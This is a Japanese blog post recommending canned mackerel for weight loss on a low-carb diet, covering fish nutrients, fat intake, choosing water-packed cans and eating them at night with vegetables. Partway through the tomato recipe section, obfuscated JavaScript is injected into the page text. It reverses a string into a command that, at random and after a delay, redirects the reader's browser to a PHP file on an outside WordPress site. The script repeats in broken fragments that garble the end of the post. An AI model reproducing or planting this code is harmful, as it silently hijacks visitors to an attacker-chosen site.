少し前にスーパーでサバ缶の品薄事件を聞いたことはありませんか？
どうやら「サバ缶を食べて痩せる」という噂が広まっているらしく人気に火がついていたようです。
糖質制限をしている私にとっても青魚は摂取したいところ！
ということでサバ缶ダイエットについて調べてみました。
青魚を食べた方がいい理由
まずこのダイエットは始める前に知っておきたいこと！それは青魚がダイエットに向いている理由です。
青魚にはヒスチジン、EAP、DHAなどとダイエットに効果的に働く成分が豊富に含まれています。
注目の成分「EAP」とは？
特に注目なのが「EAP」不飽和酸脂肪と言われる成分です。
効果としては、
・食欲を抑える効果
・糖質をゆっくり吸収する効果
があります。
糖質制限中には血糖値の急激な上昇を避けなければなりません。
この「EAP」には血糖値を下げるための「GLP-1」というホルモンの分泌を促進する効果があると言われています。
食欲を抑え、糖質をゆっくり吸収し、血糖値を上がりにくくしてくれるということは「太りにくい体」を作るために効果的な食品と言えます。
注意したいのは脂質
青魚と言えば、サバ・サンマ・イワシなどが思いつくと思います。
どれもこれも旬の時期になると脂がのってとてもおいしいですよね？
そう、青魚で唯一注意したいのが脂質です。今回オススメするサバ缶にも脂質が缶20～40g入っている為、食べ過ぎには注意が必要です。
糖質制限ダイエットをしながら脂質も極限まで抜くと女性にはマイナスも多いです。
肌がカサカサになってしまったり、髪に艶がなくなってしまったりと美容の問題が発生します。
取り過ぎは禁物ですが、青魚の脂質は上質ともいわれるのでぜひ摂取を心がけたいですね。
しかし、青魚は癖があって食べにくい、生の青魚は気持ち悪いと言った声も多いですが、ここまでダイエットに向いている上質なたんぱく質は中々ないのではないでしょうか？
青魚を簡単に摂取できるサバ缶
先ほど説明したように青魚はダイエット中の食事に入れたい食品ということは伝わったかと思います。
しかし、一人暮らしで青魚を食べる機会なんてなかなか無い。
魚焼き機で焼いたら部屋が臭くなるし、生の青魚はちょっと苦手・・・
そんな女性の為に心強い味方のアイテムが「サバ缶」なのです。
サバ缶はコンビニにも売っている手軽に手に入る食材です。
ぶっちゃけ、調理せずにそのまま食べても十分なので忙しい人にもお勧めできます。
サバ缶はいつ食べるのがおすすめ？
満腹感が得られやすいサバ缶は夜に摂取することをお勧めします。
夜は比較的量を食べてしまう傾向にあると思うので、そこにサバ缶をいれることにより満足度があがり食べ過ぎ防止につながります。
夜サバ缶を食べる場合に注意したい点がありますのでお伝えいたします。
１、水煮を選ぶ
サバ缶は水煮のものがおすすめです。
理由としては、味噌煮や醤油味などは塩気が強いため塩分摂取量が多くなりがちだからです。
特に夜であれば出来る限り塩分は少ない方がいいので水煮がよいでしょう。
缶のまま開けて食べるのももちろん良いのですが、下にたまった魚の油が結構な量あるのでできれば器に移して余分な脂は食べないようにした方がいいです。
２、野菜と一緒に撮る
夜サバ缶を食べる際は、炭水化物や他のたんぱく質は抜きにして消化の早い野菜と一緒に食べることをお勧めします。
夜は寝るだけなのでできるだけ早く消化されるように調理して食べるのが良いです。
火の通った消化のよい野菜を一緒にとると特にバランスが良いでしょう。
簡単！今日からできるおすすめの食べ方
１、トマトとサバ缶
トマトはサバ缶と相性がいいとされます。
しかし注意したいのはトマトの皮部分です。朝に食べる際にはいいのですが、$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); 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